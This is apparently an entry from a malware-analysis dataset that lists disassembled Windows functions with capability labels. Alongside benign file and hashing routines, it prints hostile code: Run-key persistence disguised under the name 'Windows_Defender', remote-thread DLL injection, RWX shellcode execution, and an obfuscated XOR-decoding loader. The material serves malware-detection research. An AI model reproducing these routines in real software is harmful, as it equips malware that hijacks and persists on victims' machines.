joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6b0812f3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 0x2c]
mov dword [esp], eax
call sym._GetSystemInfo_4
sub esp, 4
mov eax, dword [ebp - 0x14]
cmp eax, 0x182
je 0x6b081325
mov eax, dword [ebp - 0x14]
cmp eax, 0x1e6
je 0x6b081325
mov eax, dword [ebp - 0x14]
cmp eax, 0x24a
jne 0x6b08132c
mov eax, 1
jmp 0x6b081331
mov eax, 0
leave
ret

Function at 0x6b081333
Capabilities:
Get common file path
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x444
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0x104
call sym._GetCurrentDirectoryA_8
sub esp, 8
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x210]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sym._strcpy
lea eax, [ebp - 0x418]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x418]
add eax, edx
mov word [eax], 0x5c
lea eax, [ebp - 0x210]
mov dword [esp + 4], eax
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sym._strcat
lea eax, [ebp - 0x41c]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sym._strlen
mov edx, eax
mov eax, dword [ebp - 0x41c]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x418]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.Windows_Defender
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0x41c]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
mov edi, dword [ebp - 4]
leave
ret
Function at 0x6b0814ca
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x6b081703
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._VirtualAlloc_16
sub esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 0xc]
call eax
nop
leave
ret

Function at 0x6b081b00
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x6b08603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x6b086034]
sub esp, 4
test ebx, ebx
je 0x6b081b4b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x6b081b44
test esi, esi
je 0x6b081b44
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x6b081b20
mov dword [esp], 0x6b08603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x6b081d30
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x6b084164
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x6b081d80
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x6b081e58
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x6b081dbe
cmp eax, 4
jne 0x6b081de0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x6b081dce
cmp edx, 4
je 0x6b081dce
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.6b081d30
Function at 0x4010b2
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x804
mov eax, dword [0x410284]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 0
jne 0x4010ff
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x804]
push 0x3ff
push 0x400
push eax
call fcn.0040170c
lea eax, [ebp - 0x804]
push eax
call fcn.0040170c
add esp, 0x18
push 1
call dword [sym.imp.kernel32.dll_ExitProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401ea2
leave
ret

Function at 0x40110b
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
mov eax, dword [0x410284]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 0
jne 0x401158
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x404]
push 0x3ff
push 0x400
push eax
call fcn.0040170c
lea eax, [ebp - 0x404]
push eax
call fcn.0040170c
add esp, 0x18
push 1
call dword [sym.imp.kernel32.dll_ExitProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401ea2
leave
ret

Function at 0x40170c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x40171b
pop dword [ebp - 8]
mov eax, 0x40171b
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0x78985a75
add dword [ebp - 0x18], 0xd5b9ead6
mov dword [ebp - 0x14], 0x9231e7d6
add dword [ebp - 0x14], 0xa001646f
mov dword [ebp - 0x10], 0x4014f466
sub dword [ebp - 0x10], 0xf3c8b038
mov dword [ebp - 0xc], 0x5c7296dc
sub dword [ebp - 0xc], 0x5c7296dc
lea eax, [ebp - 0x18]
push eax
mov eax, 0xea58a269
sub eax, 0xea17d215
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0x8d9adf0a
add dword [ebp - 0x18], 0xe6d78a4c
mov dword [ebp - 0x14], 0x5391bb6e
sub dword [ebp - 0x14], 0x122559f9
mov dword [ebp - 0x10], 0x10817f4b
sub dword [ebp - 0x10], 0xad1212df
mov dword [ebp - 0xc], 0xd968f651
sub dword [ebp - 0xc], 0xd968f651
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0x864305e3
add eax, 0x79fdca69
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x374ee
push 0
call eax
mov ecx, 0x5f5fd3a3
sub ecx, 0x5f5f9555
mov edi, eax
mov edx, 0x241288de
add edx, 0xdc2f2722
add edx, dword [ebp - 8]
mov esi, 0xa2d1e8e
add dword [ebp - 4], ebx
mov ebx, dword [edx]
sub dword [ebp - 4], edi
xor ebx, esi
add dword [ebp - 4], 0xf41ba26b
mov dword [edi], ebx
mov dword [ebp - 4], 0xb8af99a8
add edi, 4
add edx, 0x88eb010b
sub edx, 0x88eb0107
loop 0x401832
add eax, 0xec0b
mov ebx, eax
add eax, 0xadeaae55
add eax, 0x521551b0
mov ecx, 0x5b207715
sub ecx, 0x5ae07715
add ecx, dword [ebp - 8]
call ebx
leave
ret

Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53
Function at 0x4053b0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x494f4b
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x4a93dc]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.0047faa7
push 4
mov dword [ebp - 4], 0
call fcn.004808bd
mov edi, eax
add esp, 4
test edi, edi
je 0x40542c
call fcn.0047f97f
mov dword [edi], eax
call fcn.0047f73e
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.0047fa68
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x405422
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.0047fa90
jmp 0x40542e
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x407b20
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x494f4b
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x4a93dc]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__.0
call fcn.0047faa7
push 4
mov dword [ebp - 4], 0
call fcn.004808bd
mov edi, eax
add esp, 4
test edi, edi
je 0x407b9c
call fcn.0047f97f
mov dword [edi], eax
call fcn.0047f73e
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.0047fa68
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x407b92
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.0047fa90
jmp 0x407b9e
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x4091a0
Capabilities:
Hash data with md5
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x474
mov eax, dword [0x4a93dc]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
xor eax, eax
push 0x400
push eax
mov dword [ebp - 0x460], eax
mov dword [ebp - 0x45c], eax
lea eax, [ebp - 0x404]
push eax
mov esi, ecx
mov dword [ebp - 0x470], 0x67452301
mov dword [ebp - 0x46c], 0xefcdab89
mov dword [ebp - 0x468], 0x98badcfe
mov dword [ebp - 0x464], 0x10325476
call fcn.00489270
add esp, 0xc
push 0
push 0
push 3
push 0
push 1
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
test edi, edi
je 0x4092a8
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
lea ecx, [ebp - 0x474]
push ecx
push 0x400
lea edx, [ebp - 0x404]
push edx
push edi
call ebx
test eax, eax
je 0x40927a
mov eax, dword [ebp - 0x474]
test eax, eax
je 0x40927a
lea ecx, [ebp - 0x404]
push ecx
lea esi, [ebp - 0x470]
call fcn.004092c0
push 0
lea edx, [ebp - 0x474]
push edx
push 0x400
lea eax, [ebp - 0x404]
push eax
push edi
call ebx
test eax, eax
jne 0x409242
lea ecx, [ebp - 0x470]
call fcn.00409370
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edi, [ebp - 0x418]
call fcn.00409110
pop ebx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0048036c
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
xor eax, eax
pop esi
call fcn.0048036c
mov esp, ebp
pop ebp
ret
Function at 0x4100d0
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
test ecx, ecx
jle 0x4100fd
push esi
push edi
jmp 0x4100e0
movzx esi, byte [edx]
movzx esi, byte [esi + 0x49cf10]
lea edi, [eax*8]
xor esi, edi
dec ecx
xor eax, esi
inc edx
test ecx, ecx
jg 0x4100e0
pop edi
pop esi
ret

Function at 0x410160
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov esi, dword [ebp + 0xc]
lea eax, [esi*8]
push edi
mov edi, dword [ebp + 8]
cmp eax, 0x400
jbe 0x410182
mov esi, 0x80
cmp esi, dword [edi]
jne 0x41018f
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [0x4ac97c]
test eax, eax
je 0x41019a
call eax
lea ecx, [esi*8]
push ecx
call fcn.0040cb40
mov esi, eax
mov eax, dword [0x4ac980]
add esp, 4
mov dword [ebp - 4], esi
test eax, eax
je 0x4101ba
call eax
test esi, esi
je 0x410186
mov edx, dword [edi + 0xc]
push edx
call fcn.0040ce00
add esp, 4
push esi
mov dword [edi + 0xc], esi
call dword [0x4aa748]
mov ebx, eax
shr ebx, 3
add esp, 4
lea eax, [ebx*8]
push eax
push 0
push esi
mov dword [ebp + 0xc], ebx
mov dword [edi], ebx
call fcn.00489270
mov ecx, dword [edi + 8]
add esp, 0xc
mov dword [edi + 8], 0
test ecx, ecx
je 0x41029f
mov edx, dword [ecx + 0x10]
mov esi, dword [ecx + 0xc]
xor eax, eax
test edx, edx
jle 0x410233
movzx edi, byte [esi]
movzx edi, byte [edi + 0x49cf10]
lea ebx, [eax*8]
xor edi, ebx
dec edx
xor eax, edi
inc esi
test edx, edx
jg 0x410212
mov ebx, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
mov edx, dword [ecx]
mov dword [ebp - 8], edx
xor edx, edx
div ebx
mov eax, dword [ebp - 4]
lea eax, [eax + edx*8]
test eax, eax
je 0x41027b
mov esi, dword [eax]
test esi, esi
je 0x410251
mov edx, dword [eax + 4]
jmp 0x410253
xor edx, edx
inc esi
mov dword [eax], esi
mov dword [eax + 4], ecx
test edx, edx
je 0x41027b
mov dword [ecx], edx
mov eax, dword [edx + 4]
mov dword [ecx + 4], eax
mov eax, dword [edx + 4]
test eax, eax
je 0x410273
mov dword [eax], ecx
mov dword [edx + 4], ecx
jmp 0x410294
mov dword [edi + 8], ecx
mov dword [edx + 4], ecx
jmp 0x410294
mov edx, dword [edi + 8]
mov dword [ecx], edx
mov eax, dword [edi + 8]
test eax, eax
je 0x41028a
mov dword [eax + 4], ecx
mov dword [ecx + 4], 0
mov dword [edi + 8], ecx
mov ecx, dword [ebp - 8]
test ecx, ecx
jne 0x410206
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4103a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, dword [ebp + 8]
cmp dword [edi + 0xc], 0
je 0x4103e5
mov ecx, dword [ebp + 0xc]
xor eax, eax
mov edx, esi
test esi, esi
jle 0x4103df
push ebx
lea esp, [esp]
movzx edi, byte [ecx]
movzx edi, byte [edi + 0x49cf10]
lea ebx, [eax*8]
xor edi, ebx
dec edx
xor eax, edi
inc ecx
test edx, edx
jg 0x4103c0
mov edi, dword [ebp + 8]
pop ebx
xor edx, edx
div dword [edi]
jmp 0x4103e7
xor edx, edx
mov eax, dword [ebp + 0xc]
push esi
push eax
mov eax, edi
call fcn.004102b0
add esp, 8
pop edi
test eax, eax
je 0x410400
mov eax, dword [eax + 8]
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x410410
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, eax
mov eax, dword [edi]
test eax, eax
je 0x410459
mov ecx, dword [ebp + 8]
xor eax, eax
mov edx, ebx
test ebx, ebx
jle 0x41044e
nop
movzx esi, byte [ecx]
movzx esi, byte [esi + 0x49cf10]
lea ebx, [eax*8]
xor esi, ebx
dec edx
xor eax, esi
inc ecx
test edx, edx
jg 0x410430
mov ebx, dword [ebp + 0xc]
xor edx, edx
div dword [edi]
mov esi, edx
mov dword [ebp - 4], esi
jmp 0x410463
mov dword [ebp - 4], 0
mov esi, dword [ebp - 4]
mov eax, dword [ebp + 8]
push ebx
push eax
mov edx, esi
mov eax, edi
call fcn.004102b0
add esp, 8
test eax, eax
je 0x4104a6
mov ecx, dword [ebp + 0x10]
mov ebx, dword [eax + 8]
test ecx, ecx
jne 0x410494
mov edx, esi
mov ecx, edi
call fcn.00410350
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [eax + 8], ecx
mov ecx, dword [ebp + 8]
mov dword [eax + 0xc], ecx
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp dword [ebp + 0x10], 0
je 0x41053a
push 0x14
call fcn.0040cb40
mov esi, eax
mov eax, dword [ebp + 0x10]
add esp, 4
test esi, esi
je 0x41053c
mov edx, dword [ebp + 8]
mov dword [esi + 0xc], edx
mov dword [esi + 0x10], ebx
mov dword [esi + 8], eax
inc dword [edi + 4]
mov eax, dword [edi + 4]
cmp eax, 0xa
jb 0x410504
mov ecx, dword [edi]
add ecx, ecx
cmp eax, ecx
jbe 0x410504
lea edx, [eax + eax]
push edx
push edi
call fcn.00410160
add esp, 8
test eax, eax
je 0x410504
mov edx, dword [ebp + 8]
mov ecx, ebx
call fcn.004100d0
xor edx, edx
div dword [edi]
mov dword [ebp - 4], edx
mov eax, dword [edi + 0xc]
test eax, eax
je 0x410521
mov ecx, dword [ebp - 4]
lea edx, [eax + ecx*8]
mov eax, esi
call fcn.00410100
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [edi + 8]
mov dword [esi], edx
mov eax, dword [edi + 8]
test eax, eax
je 0x410530
mov dword [eax + 4], esi
mov dword [esi + 4], 0
mov dword [edi + 8], esi
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x410c60
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
mov ebx, dword [ebp + 8]
mov eax, dword [ebx + 0x24]
push esi
push edi
test eax, eax
jle 0x410c9b
cdq
mov edi, eax
add eax, dword [ebp + 0xc]
mov esi, edx
mov ecx, edx
adc ecx, dword [ebp + 0x10]
push esi
sub eax, 1
push edi
sbb ecx, 0
push ecx
push eax
call fcn.00489d40
push esi
push edi
push edx
push eax
call fcn.00490800
jmp 0x410ca1
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
push edx
push eax
mov esi, ebx
call fcn.00410960
add esp, 8
test eax, eax
je 0x410cd2
mov ecx, dword [ebx + 0x20]
push 0x800d
push 0x60a
mov edi, str.winTruncate1
call fcn.004108b0
add esp, 8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [ebx + 8]
push edx
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x410d0a
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebx + 0x20]
push 0x8010
push 0x60a
mov edi, str.winTruncate2
mov dword [ebx + 0x14], eax
call fcn.004108b0
add esp, 8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x410d70
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov ecx, dword [esi + 8]
push edi
lea eax, [ebp + 8]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
cmp edi, 0xffffffff
jne 0x410db8
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x410db8
mov ecx, dword [esi + 0x20]
push 0x806c
push 0x70a
mov edi, str.winFileSize
mov dword [esi + 0x14], eax
call fcn.004108b0
add esp, 8
pop edi
pop esi
pop ebp
ret
mov ecx, dword [ebp + 8]
xor eax, eax
xor edx, edx
add edx, edi
adc ecx, eax
mov eax, dword [ebp + 0xc]
pop edi
mov dword [eax], edx
mov dword [eax + 4], ecx
xor eax, eax
pop esi
pop ebp
ret
Function at 0x412490
Capabilities:
Check if file exists
Check os version
Delete file
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x240
mov eax, dword [0x4a93dc]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x4aca34]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [ebp - 0x240], ebx
mov dword [ebp - 0x23c], 0
mov esi, 2
test eax, eax
jne 0x4124f1
lea eax, [ebp - 0x120]
push eax
mov dword [ebp - 0x120], 0x114
call edi
xor eax, eax
cmp dword [ebp - 0x110], esi
sete al
inc eax
mov dword [0x4aca34], eax
cmp eax, esi
jne 0x4124fc
call fcn.00410550
jmp 0x412501
call fcn.004106f0
mov ebx, eax
test ebx, ebx
jne 0x41251b
lea eax, [ebx + 7]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0048036c
mov esp, ebp
pop ebp
ret
mov eax, dword [0x4aca34]
test eax, eax
jne 0x412548
lea ecx, [ebp - 0x238]
push ecx
mov dword [ebp - 0x238], 0x114
call edi
xor eax, eax
cmp dword [ebp - 0x228], esi
sete al
inc eax
mov dword [0x4aca34], eax
mov edi, 1
cmp eax, esi
jne 0x4125b7
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x4125a6
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edi, eax
test edi, edi
jne 0x4125a6
mov esi, dword [ebp - 0x23c]
cmp esi, dword [0x4aa928]
jge 0x4125ac
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
je 0x41258d
cmp eax, 0x21
je 0x41258d
cmp eax, 0x20
jne 0x4125ac
inc esi
mov edx, esi
imul edx, dword [0x4aa92c]
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x23c], esi
jmp 0x412551
mov esi, dword [ebp - 0x23c]
xor eax, eax
test edi, edi
sete al
mov edi, eax
jmp 0x41261b
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x41260c
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edi, eax
test edi, edi
jne 0x41260c
mov esi, dword [ebp - 0x23c]
cmp esi, dword [0x4aa928]
jge 0x41260c
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
je 0x4125f3
cmp eax, 0x21
je 0x4125f3
cmp eax, 0x20
jne 0x41260c
inc esi
mov ecx, esi
imul ecx, dword [0x4aa92c]
push ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x23c], esi
jmp 0x4125b7
mov esi, dword [ebp - 0x23c]
xor edx, edx
test edi, edi
sete dl
mov edi, edx
test edi, edi
je 0x412640
mov ecx, dword [ebp - 0x240]
push 0x85d9
push 0xa0a
mov edi, str.winDelete
call fcn.004108b0
add esp, 8
mov edi, eax
jmp 0x412666
test esi, esi
je 0x412666
lea eax, [esi + 1]
imul eax, dword [0x4aa92c]
imul eax, esi
cdq
sub eax, edx
sar eax, 1
push eax
push str.delayed__dms_for_lock_sharing_conflict
push 0xa
call fcn.0040e630
add esp, 0xc
push ebx
call fcn.00480a32
mov ecx, dword [ebp - 4]
add esp, 4
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0048036c
mov esp, ebp
pop ebp
ret